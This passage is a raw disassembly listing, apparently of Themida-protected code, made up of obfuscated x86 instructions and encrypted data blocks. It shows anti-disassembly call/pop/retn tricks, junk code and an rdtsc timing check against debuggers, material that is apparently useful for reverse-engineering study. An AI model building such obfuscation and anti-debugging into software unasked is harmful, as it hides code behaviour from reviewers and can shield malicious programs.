sub_54F274 proc near ; CODE XREF: Themida_:0054F26Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_54F274 endp ; --------------------------------------------------------------------------- inc ecx xchg eax, ecx xchg eax, ecx inc ecx inc edx mov byte ptr [ebp+6A815D5h], 45h sub [ebp+6A80635h], edi push 0B82ABFE8h mov ebx, 75E09614h xor dword ptr [esp], 3658D681h push 0 push eax call sub_54F2B2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F2B2 proc near ; CODE XREF: Themida_:0054F2AAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54F2B2 endp ; --------------------------------------------------------------------------- dw 3973h dd 958BB1B7h, 6A83025h, 0F95B5FFh, 0B1B606A8h, 6971858Dh dd 0B58906ABh, 6A8166Dh, 8B0FD0FFh, 6, 1E398D89h, 858906A8h dd 6A80081h, 3409BD89h, 0D28B06A8h, 68E0Fh, 0B5890000h dd 6A827B5h, 92DA8166h, 0D98C661Ah, 188A0Fh, 0CE80000h dd 0ED000000h, 0AFB01FCAh, 0EB7B4E51h, 8945CEF2h, 0A815CDBDh dd 0C1F65B06h, 0F7840F04h, 0E9000001h, 7, 5CF358C5h, 0E95C4F28h dd 0FAh, 7E8h, 970F7100h, 0B36C0EE1h, 0BE8h, 0EE931D00h dd 0D87105C7h, 0D819E7AEh, 344F03BAh, 8B5A5A58h, 0A80725B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F73F2EEh, 0C681D1BFh, 1180h, 0F79958Bh dd 0BD8306A8h, 6A81FE5h, 0E850F00h, 23000000h, 0A8215195h dd 5FE906h, 0B70F0000h, 3E83D1h, 53840Fh, 0B5890000h, 6A82A81h dd 0B98D8960h, 6A06A819h, 65952314h, 0FF06A816h, 0A81B3195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 50184D88h, 0B49BD89h, 316106A8h, 0A80FAD8Dh dd 0FFABE906h, 0BB50FFFFh, 69F824CCh, 106C75Ah, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 894EC355h, 0D57CA95h, 97312284h, 0BD83D88Bh dd 6A84F56h, 0DF850F05h, 8B000000h, 0A833199Dh, 81B58B06h dd 6A06A800h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 87F3C352h, 8CC48EEBh, 51D958Bh dd 64B906A8h, 0B7000000h, 358D8966h, 8006A833h, 840FE83Eh dd 38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 55C35040h, 119589B8h, 0E906A817h, 22h, 0BE9h, 0D5962F00h dd 9E3B5BEAh, 0D4BD8B9Eh, 0C2057E80h, 4C840Fh, 23510000h dd 0A8338995h, 6A465A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 2E5DC356h, 664C50E3h dd 4983D9BAh, 0FF81850Fh, 0CE9FFFFh, 59000000h, 4F09FA41h dd 702715B7h, 0E98A35FCh, 0Ah, 0B589D38Bh, 6A81995h, 6A5843B6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0DD46C357h, 9185896Dh, 2906A81Bh, 0A8159D8Dh dd 0C5BD8306h, 6A828h, 19C840Fh, 89530000h, 0A80F1D85h dd 89605A06h, 0A833F985h, 0D585C606h, 5406A815h, 8850Fh dd 0F510000h, 83h, 63685A00h, 8BE542D0h, 243481D6h, 1A0C6E97h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 91C35545h dd 0C88B4B24h, 0E2C35B52h, 0AAD8589h, 0B5FF06A8h, 6A80F95h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h dd 8DF5C841h, 0AB697185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 23431125h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 95E6DCC3h, 0A5E59D91h, 6830FD5h, 8B000000h dd 0A8171195h, 0BE666006h, 8B0F2C0Bh, 4, 385FB866h, 6A006A61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 443BC355h, 0AE9h, 9AFF3A00h, 0B406547Ch dd 0FF37877Fh, 0A828C5B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F9650019h dd 0EB196865h, 0D0FF3EE8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0B0C35040h, 25875D13h, 0FF9DA0Dh, 1683h dd 11E900h, 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h dd 6137CE54h, 0BE8h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh dd 525BDF8Bh, 0E6EA8166h, 85C75A69h, 6A80C91h, 1, 0FE8h dd 85BCF900h, 2400D289h, 0CA2E7248h, 4F4BC92h, 0CE8h, 0FA6F9B00h dd 38420937h, 4911CB6Bh, 9D85318Dh, 5B06A81Dh, 0F381605Ah dd 3A3CDF7Bh, 26DCD068h, 2434811Dh, 1D26DC50h, 0CE9h, 0D64B2100h dd 0C951B001h, 2497DC9Eh, 51FF6A01h, 5860Fh, 81660000h dd 5A287DF2h, 9019D09h, 95FF06A8h, 6A80F89h, 1EA99503h dd 576106A8h, 5B5DB653h, 0B650905Bh, 8B609037h, 0A82B0D85h dd 0BE906h, 48BC0000h, 1E48201Ah, 2A3A9EFFh, 858B61E4h dd 6A82EE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 99C35141h, 58C6FA3Ch, 0B1D12BAh, 3A840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 62BEC356h, 4F85521Ah, 0D88AD773h, 0BAFAF381h dd 0DA804E22h, 6995FF5Dh, 8906A802h, 0A805DDBDh, 7585C706h dd 106A82Ch, 0F000000h, 787h, 0C4BB5700h, 5A762CDAh, 1A89BD83h dd 0F0006A8h, 6584h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E84E2D1Dh, 0Eh, 0A9C3386Ah dd 7C3F52A4h, 9FBB0B8Bh, 85096748h, 6A829D9h, 195FF5Bh dd 6A06A82Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0AD7CC352h, 2E454A89h, 321D9D01h dd 0BD8306A8h, 6A82085h, 32840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 54B6C351h, 9C0A7E40h, 24BB6638h, 0B195FF40h, 8B06A821h dd 0A81EDD95h, 2DBD8306h, 6A801h, 2A840Fh, 9D230000h, 6A814DDh dd 6D9BD83h, 0F0006A8h, 1785h, 0EB816600h, 95FF99E4h, 6A82789h dd 7E9h, 0F3F26E00h, 12A9A9FEh, 1775BD83h, 0F0006A8h, 1F84h dd 1D9D2300h, 8106A806h, 0A807B585h, 400306h, 8148B600h dd 0A80FD585h, 400306h, 1CEA8000h, 9589310Fh, 6A82B69h dd 5F128D8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 5246F5C3h, 2C1D19h, 12E8h, 5F6A4600h dd 0ABC65F88h, 0BBDD5CF6h, 0E5E49939h, 0B25B3B06h, 1895BDEh dd 0E658589h, 0C23306A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 31C35545h, 0DF7060E1h, 9CA288CCh, 5BD78B51h dd 44189F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 7CC35646h, 8FD0DA81h, 0BDBA7BE4h, 0F229A2Bh, 44F28131h dd 8D630211h, 0A85F1E8Dh, 898D8906h, 8906A831h, 0E9B58901h dd 3306A810h, 44189C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 81C35242h, 9EC3A50h, 74D48079h, 0BD83B5B3h dd 6A80FC5h, 39840F00h, 60000000h, 5E8h, 66995B00h, 0BF0F8D9Ah dd 0CE85BD2h, 3A000000h, 6AED6799h, 0B4AC1034h, 0B996191Dh dd 3226E564h, 9D8B615Ah, 6A81FF9h, 31BD95FFh, 9D8906A8h dd 6A81F81h, 209DBD83h, 0F0106A8h, 6285h, 0FD958B00h, 0E906A831h dd 57h, 0EE9h, 4A130700h, 5067A6B7h, 0DF56EE20h, 89CABF92h dd 0A819A995h, 72B58B06h, 0C706A860h, 6, 17B58B00h, 0C706A85Eh dd 6, 9503CF00h, 6A80AB5h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 2DC35141h, 8324B3A0h dd 0A82C75BDh, 840F0006h, 0DDh, 343D8589h, 0BD8306A8h dd 6A8154Dh, 0B7850F01h, 8B000000h, 0A8157D9Dh, 4A8D8B06h dd 0F06A84Fh, 380h, 0FCE78000h, 6A0001C6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 17CC356h dd 21FB761Eh, 9D8B99B2h, 6A80F31h, 3860F60h, 66000000h dd 6568D08Bh, 8A2344DFh, 243481F0h, 2344DFE5h, 71958956h dd 5A06A82Dh, 0EDB6FF6Ah, 0F8995FFh, 80B606A8h, 0AE861h dd 30B20000h, 0B098BBF6h, 85249BCEh, 95FF5BFCh, 6A81E89h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AAC35646h dd 0DDB77771h, 4F4A8D8Bh, 0DB8106A8h, 1E2D8BB5h, 0BB6601FEh dd 0BD8312CEh, 6A80569h, 6850F01h, 8B000000h, 0A8029995h dd 6AC08B06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 47DCC353h, 0D7805765h, 880F5A9Dh dd 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_54FC02 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54FC1C loc_54FC02: ; CODE XREF: Themida_:0054FBF7j push eax push ebx mov eax, eax mov eax, [ebp+6A807B5h] mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_54FC1C: ; CODE XREF: Themida_:0054FC00j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54FC3D push eax push ebx mov eax, [ebp+6A807B5h] mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_54FC3D: ; CODE XREF: Themida_:0054FC23j mov bl, dl mov ebx, [ebp+6A82ECDh] mov eax, eax mov edx, [ebp+6A8174Dh] cmp dword ptr [ebp+6A82C75h], 0 jnz loc_54FC73 and ebx, [ebp+6A80565h] cmp dword ptr [ebp+6A81655h], 0 jz loc_54FC73 mov [ebp+6A81A59h], edi loc_54FC73: ; CODE XREF: Themida_:0054FC54j ; Themida_:0054FC67j cmp dword ptr [ebp+6A82C75h], 0 jz loc_54FCC6 mov bx, cx cmp dword ptr [ebp+6A830B1h], 0 jz loc_54FCC6 push 0 push eax call sub_54FC9B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FC9B proc near ; CODE XREF: Themida_:0054FC93p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_54FC9B endp ; --------------------------------------------------------------------------- db 0Dh dd 52941F4Eh, 603C9F8Fh, 0F281D68Bh, 711820DDh, 38A0F61h dd 80000000h db 0CEh, 22h ; --------------------------------------------------------------------------- loc_54FCC6: ; CODE XREF: Themida_:0054FC7Aj ; Themida_:0054FC8Aj cmp dword ptr [ebp+6A82C75h], 0 jz loc_54FCF8 adc bl, 0CCh mov ebx, 38BF7A10h cmp dword ptr [ebp+6A830B1h], 0 jz loc_54FCF8 pusha mov [ebp+6A807B1h], ebx mov eax, [ebp+6A801ADh] popa mov bl, 0FDh loc_54FCF8: ; CODE XREF: Themida_:0054FCCDj ; Themida_:0054FCE2j cmp dword ptr [ebp+6A82C75h], 0 jz loc_54FD47 push 0 push ebx call sub_54FD10 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FD10 proc near ; CODE XREF: Themida_:0054FD08p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_54FD10 endp ; --------------------------------------------------------------------------- adc al, 8Ah sbb ds:0C2B03CAFh, esp jnp loc_54FD36 push ebx mov edx, [ebp+6A802D1h] pop ebx loc_54FD36: ; CODE XREF: Themida_:0054FD28j cmp dword ptr [ebp+6A81005h], 0 jz loc_54FD47 mov bx, 9CBCh loc_54FD47: ; CODE XREF: Themida_:0054FCFFj ; Themida_:0054FD3Dj cmp dword ptr [ebp+6A82C75h], 0 jz loc_54FD77 movzx ebx, ax cmp dword ptr [ebp+6A82279h], 0 jz loc_54FD77 mov [ebp+6A820A1h], ecx and bl, 3 call dword ptr [ebp+6A8004Dh] mov dx, 3EAAh loc_54FD77: ; CODE XREF: Themida_:0054FD4Ej ; Themida_:0054FD5Ej mov eax, eax mov bh, 0AEh cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_54FD8D cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54FDA7 loc_54FD8D: ; CODE XREF: Themida_:0054FD82j push eax push ebx mov eax, eax mov eax, [ebp+6A80FD5h] mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AAA213h] call ebx pop ebx pop eax loc_54FDA7: ; CODE XREF: Themida_:0054FD8Bj cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54FDC8 push eax push ebx mov eax, [ebp+6A80FD5h] mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AA9EB4h] call ebx pop ebx pop eax loc_54FDC8: ; CODE XREF: Themida_:0054FDAEj jmp loc_54FDDC ; --------------------------------------------------------------------------- movsb xchg eax, ebp xchg ebp, ds:0D7829140h mov ds:33AD8EB2h, eax aam 0F9h loc_54FDDC: ; CODE XREF: Themida_:loc_54FDC8j jle loc_54FDE4 mov ebx, ecx loc_54FDE4: ; CODE XREF: Themida_:loc_54FDDCj mov dl, 52h mov eax, eax xor ebx, 6E4B9B87h cmp dword ptr [ebp+6A82C75h], 0 jz loc_5501C2 jmp loc_54FE05 ; --------------------------------------------------------------------------- dd 84194BE2h db 0FEh ; --------------------------------------------------------------------------- loc_54FE05: ; CODE XREF: Themida_:0054FDFBj cmp dword ptr [ebp+6A80E35h], 2 jz loc_54FE7C push 0 push eax call sub_54FE1D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FE1D proc near ; CODE XREF: Themida_:0054FE15p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54FE1D endp ; --------------------------------------------------------------------------- db 8Fh, 0F0h, 0E9h dd 12h, 7AB0A4D7h, 2ED8F123h, 3CF504B0h, 3115F136h, 0BD8373E0h dd 6A8209Dh, 29850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EAFCC353h dd 6800Fh, 0C2810000h, 665C962Bh ; --------------------------------------------------------------------------- loc_54FE7C: ; CODE XREF: Themida_:0054FE0Cj pusha cld mov ecx, [ebp+6A84F4Ah] mov edx, [ebp+6A81AD1h] inc byte ptr [ecx] mov [ebp+6A80B6Dh], eax call near ptr loc_54FE9A+1 add byte ptr [eax], 0 loc_54FE9A: ; CODE XREF: Themida_:0054FE92p add [edx+14012066h], bh push eax push esi push eax push edx push edx pop edx rdtsc mov bx, 780Ah pop edx pop eax pop edx mov eax, [esp+4] mov ebx, edx mov eax, [eax] mov bx, si mov [esp+4], eax mov edx, eax pop eax jle loc_54FECD or [ebp+6A80769h], edx loc_54FECD: ; CODE XREF: Themida_:0054FEC1j push 0FFFFFFFFh movzx ebx, cx mov dx, si call dword ptr [ebp+6A80F89h] cld popa call sub_54FEEF daa in eax, dx sub bl, [ebp-28h] retf 0C91Ch ; --------------------------------------------------------------------------- dw 2973h db 0BBh, 95h, 14h ; =============== S U B R O U T I N E ======================================= sub_54FEEF proc near ; CODE XREF: Themida_:0054FEDDp xor bh, 0BCh pop edx lea edi, [ebp+6A82815h] mov edx, [ebp+6A80151h] mov ecx, [edi+1Ch] sub bx, 4170h push 1 push 0 push edi call sub_54FF14 and [edi-3Dh], bl sub_54FEEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54FF14 proc near ; CODE XREF: sub_54FEEF+1Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_54FF14 endp ; --------------------------------------------------------------------------- jge short loc_54FF2F lea esp, [ecx+0Ah] test al, 6 mov dx, ax xchg eax, ecx loc_54FF2F: ; CODE XREF: Themida_:0054FF24j jmp loc_54FF47 ; --------------------------------------------------------------------------- dd 28F0D157h, 68974083h, 0C7B7215Bh, 89D86204h db 0CFh, 0E5h, 9Fh ; --------------------------------------------------------------------------- loc_54FF47: ; CODE XREF: Themida_:loc_54FF2Fj push eax jge loc_54FF5D jmp loc_54FF5D ; --------------------------------------------------------------------------- cmovnp edx, esp adc [ecx+ebp*2+61DCB056h], ebx loc_54FF5D: ; CODE XREF: Themida_:0054FF48j ; Themida_:0054FF4Ej xchg eax, ecx push 0 push ebp call sub_54FF69 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FF69 proc near ; CODE XREF: Themida_:0054FF61p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_54FF69 endp ; --------------------------------------------------------------------------- pop ecx pushf adc [eax+ecx*8-73h], esi test esi, ebx db 2Eh stos dword ptr es:[edi] push es push 0 push eax call sub_54FF8F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FF8F proc near ; CODE XREF: Themida_:0054FF87p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54FF8F endp ; --------------------------------------------------------------------------- db 4Fh dd 0DD9D0365h, 0FF06A814h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 75743C53h dd 0EFF6FC5Bh, 204F8B5Ch, 6A036AFCh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1C3DC356h dd 0E23225AAh, 867EA415h, 1ED1BD89h, 0BA5006A8h, 4DE02CBCh dd 52240C89h, 13E8h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah dd 7D1A4F36h, 6E7CF474h, 810Fh, 5B5B0000h, 2EF3858Dh, 12E906ABh dd 98000000h, 0DCEC3FC2h, 2984429Dh, 3A045F96h, 0AA9F0D28h dd 0E8D0FFE6h, 0Eh, 0F7805257h, 0B9928945h, 90C5CA93h dd 5BFC36C6h, 2815BD8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0DA9C4CC3h, 29BC7D12h dd 0E8C0BC9Eh, 8, 0C262563Bh, 0BED7B731h, 16F99503h, 8B5B06A8h dd 8B661C4Fh, 0E9016ADAh, 0Bh, 9719FC34h, 11DDA27Bh, 5064126Bh dd 5AD88A56h, 6A240C89h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0D588C357h, 5A15606Ch dd 2EF3858Dh, 0DA8106ABh, 59C38082h, 6E9D0FFh, 46000000h dd 31773376h, 204F8BD2h, 33099D8Bh, 36A06A8h, 5050D08Bh dd 0BA310F52h, 48EC85EFh, 0C89585Ah, 258D3124h, 8D06A82Eh dd 0AB2EF385h, 8B666006h, 0FE8F7h, 0E6AC0000h, 5B0330E5h dd 76D22F72h, 37DB27h, 800FD3h, 5F000000h, 66D0FF61h, 8BB69EBAh dd 0A82AAD9Dh, 4A8D8B06h, 8B06A84Fh, 0A81E199Dh, 8B01FE06h dd 0A81E2595h, 4A858B06h, 8B06A84Fh, 0A80DC995h, 900FE06h dd 0A806B5BDh, 53016A06h, 5E9h, 0D80FEC00h, 685AA7ECh dd 0CD356574h, 481D38Ah, 0CA3A8B24h, 8DD2B232h, 0AB2EFD85h dd 119D8906h, 0FF06A810h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0FC485EA2h dd 46FEBAADh db 0FCh, 75h ; --------------------------------------------------------------------------- loc_5501C2: ; CODE XREF: Themida_:0054FDF5j cmp dword ptr [ebp+6A81655h], 0 jz loc_5502DA push 0 push edx call sub_5501DA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5501DA proc near ; CODE XREF: Themida_:005501D2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5501DA endp ; --------------------------------------------------------------------------- dw 8A79h dd 9DBD83DEh, 106A833h, 0E0850Fh, 0DE90000h, 0E000000h dd 4D7100A5h, 5AE8E707h, 445105E7h, 2F078D8Dh, 0BF0F06ABh dd 6A036ADBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 171EC357h, 9E5D6819h, 6A016A88h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 81F1C356h, 93CF64Bh, 0FF9E6129h, 0F3C780D1h dd 8166016Ah, 813C97C2h, 8C86F2F2h, 6A016A57h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 19C7C357h, 0F5CD5F8h, 680h, 19B58900h, 0E906A81Eh, 0Bh dd 0CB102966h, 0F0CDB944h, 0F83728F4h, 6AD1FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 7294FFC3h, 0D18B3A82h, 0B36DBAE8h ; --------------------------------------------------------------------------- stc cld loc_5502DA: ; CODE XREF: Themida_:005501C9j push 20h sbb dx, 2BF4h push 0FFFFFFFFh mov [ebp+6A824E5h], ecx call dword ptr [ebp+6A80F89h] mov [ebp+6A80E65h], edx mov eax, 0 or eax, eax jz loc_550334 jmp loc_550319 ; --------------------------------------------------------------------------- db 0A9h dd 298C87FEh, 9F761A8Eh, 158139Dh, 21EA1BA2h db 0B0h ; --------------------------------------------------------------------------- loc_550319: ; CODE XREF: Themida_:00550302j cmp dword ptr [ebp+6A82541h], 0 jz loc_550334 mov dl, al call dword ptr [ebp+6A81ADDh] mov [ebp+6A82B9Dh], eax loc_550334: ; CODE XREF: Themida_:005502FCj ; Themida_:00550320j mov eax, [ebp+6A80D19h] mov dl, 0BEh mov byte ptr [eax], 0 pusha pusha add [ebp+6A8152Dh], esi xor ecx, [ebp+6A801BDh] popa mov si, 2A51h popa pop eax push 0 push ebx call sub_55035F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55035F proc near ; CODE XREF: Themida_:00550357p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_55035F endp ; --------------------------------------------------------------------------- db 2Fh dd 863B23E4h, 14E852h, 62180000h, 0B25D74E4h, 0F42F84F8h dd 0D875BBC9h, 983BCDF2h, 5BF51C30h, 48B0F5Ah, 66000000h dd 60335BBBh, 0FBC08166h, 29958BE9h, 6106A815h, 8BD98C66h dd 0A82ABD95h, 4C1F606h, 3C840Fh, 8D090000h, 6A81579h dd 31E9h, 858B6000h, 6A801F1h, 2800Fh, 0FE8A0000h, 25B58B61h dd 8006A807h, 0BF0FD4E6h, 80C681D9h, 0F000011h, 6C7DAB7h dd 0 ; --------------------------------------------------------------------------- mov [ebp+6A80E51h], edi pop esi mov [ebp+6A82F65h], edi cmp eax, 0 jz loc_550F14 mov [ebp+6A81B2Dh], eax mov edx, [ebp+6A802F1h] cmp eax, 1 jnz loc_550597 mov dh, ah mov eax, 0 jmp loc_55043A ; --------------------------------------------------------------------------- align 4 dd 0CDB77789h, 0A8F1932Eh, 9E604F5Ch, 1DE7A2D5h db 9Ah, 12h ; --------------------------------------------------------------------------- loc_55043A: ; CODE XREF: Themida_:00550422j or eax, eax jz loc_550540 mov dx, bx cmp eax, 1 jz loc_550557 pusha xor [ebp+6A826B1h], ebx jmp loc_550467 ; --------------------------------------------------------------------------- dw 0CC81h dd 9D41320Ah, 9E127515h db 57h, 81h, 71h ; --------------------------------------------------------------------------- loc_550467: ; CODE XREF: Themida_:00550455j popa cmp eax, 3 jz loc_5504FC push 0 push ebp call sub_55047C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55047C proc near ; CODE XREF: Themida_:00550474p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_55047C endp ; --------------------------------------------------------------------------- sbb bh, ah pop es assume es:nothing jns loc_55049D pusha mov si, di mov cx, si popa loc_55049D: ; CODE XREF: Themida_:0055048Fj sub eax, eax mov [ebp+6A834D5h], edi lea edi, dword_5B89E0[ebp] push 0 push ecx loc_5504AE: ; CODE XREF: Themida_:005504D2j call sub_5504B6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5504B6 proc near ; CODE XREF: Themida_:loc_5504AEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5504B6 endp ; --------------------------------------------------------------------------- pop ebx adc dh, [eax+ebx*8] sbb ebp, [eax+0Fh] mov edi, 11CA81D8h jnz short loc_5504AE inc edi jmp edi ; --------------------------------------------------------------------------- push 0 push ecx call sub_5504E2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5504E2 proc near ; CODE XREF: Themida_:005504DAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5504E2 endp ; --------------------------------------------------------------------------- cmp al, 83h mov ah, 5Ah or edi, [edx+71AE1E72h] loc_5504FC: ; CODE XREF: Themida_:0055046Bj mov eax, 1 mov edx, [ebp+6A80DDDh] lea edi, dword_5B89E0[ebp] add bx, 7DEAh jmp edi ; --------------------------------------------------------------------------- push 0 push esi call sub_55051F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55051F proc near ; CODE XREF: Themida_:00550517p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_55051F endp ; --------------------------------------------------------------------------- db 4Eh dd 6003F3ADh, 14559D09h, 0F1BB06A8h, 6113A3A1h ; --------------------------------------------------------------------------- loc_550540: ; CODE XREF: Themida_:0055043Cj lea edi, [ebp+6A845D6h] mov ebx, [ebp+6A81609h] jmp loc_5507BD ; --------------------------------------------------------------------------- mov edx, [ebp+6A81771h] loc_550557: ; CODE XREF: Themida_:00550448j mov dword ptr [ebp+6A84FA5h], 5 push 0 push ebp call sub_55056C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55056C proc near ; CODE XREF: Themida_:00550564p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_55056C endp ; --------------------------------------------------------------------------- dd 7F5403DBh, 0DA42A367h, 5B8h, 659D8B00h, 0E906A802h dd 8FBh ; --------------------------------------------------------------------------- movzx edx, di loc_550597: ; CODE XREF: Themida_:00550415j cmp eax, 2 jnz loc_55067E push 0 push edi call sub_5505AB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5505AB proc near ; CODE XREF: Themida_:005505A3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5505AB endp ; --------------------------------------------------------------------------- db 44h dd 2AFE02h, 0D262860Ch, 4BDB8166h, 0B8D5h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 410747C3h, 39668698h, 336D958Bh, 0C00B06A8h, 60840Fh dd 8E90000h, 95000000h, 0E2212C4Ch, 83DC1662h, 840F01F8h dd 0FFFFFF43h, 8E857h, 68370000h, 0F74023FBh, 61601285h dd 0F8835B5Bh, 0CD840F03h, 89FFFFFEh, 0A80CC59Dh, 89C02B06h dd 0A807ED85h, 0E0BD8D06h, 66005B89h, 5AA5DB81h, 0F60E7FFh dd 683h, 79BD8B00h, 6106A809h, 2F519589h, 0BD8D06A8h, 6A847CEh dd 10BD9D89h, 4EE906A8h, 0E9000001h, 0Ah, 2C4B2726h, 0A75B3616h db 57h, 20h ; --------------------------------------------------------------------------- loc_55067E: ; CODE XREF: Themida_:0055059Aj cmp eax, 3 jnz loc_5506E8 push 0 push eax call sub_550692 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550692 proc near ; CODE XREF: Themida_:0055068Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_550692 endp ; --------------------------------------------------------------------------- dec ebx fbstp tbyte ptr [ecx-6Eh] xor [ecx-57F83673h], ecx push es push edi push ecx mov [ebp+6A819F9h], edi pop edx pop ebx lea edi, [ebp+6A84962h] movsx ebx, bx jmp loc_5507BD ; --------------------------------------------------------------------------- push 0 push ebx call sub_5506D0 and 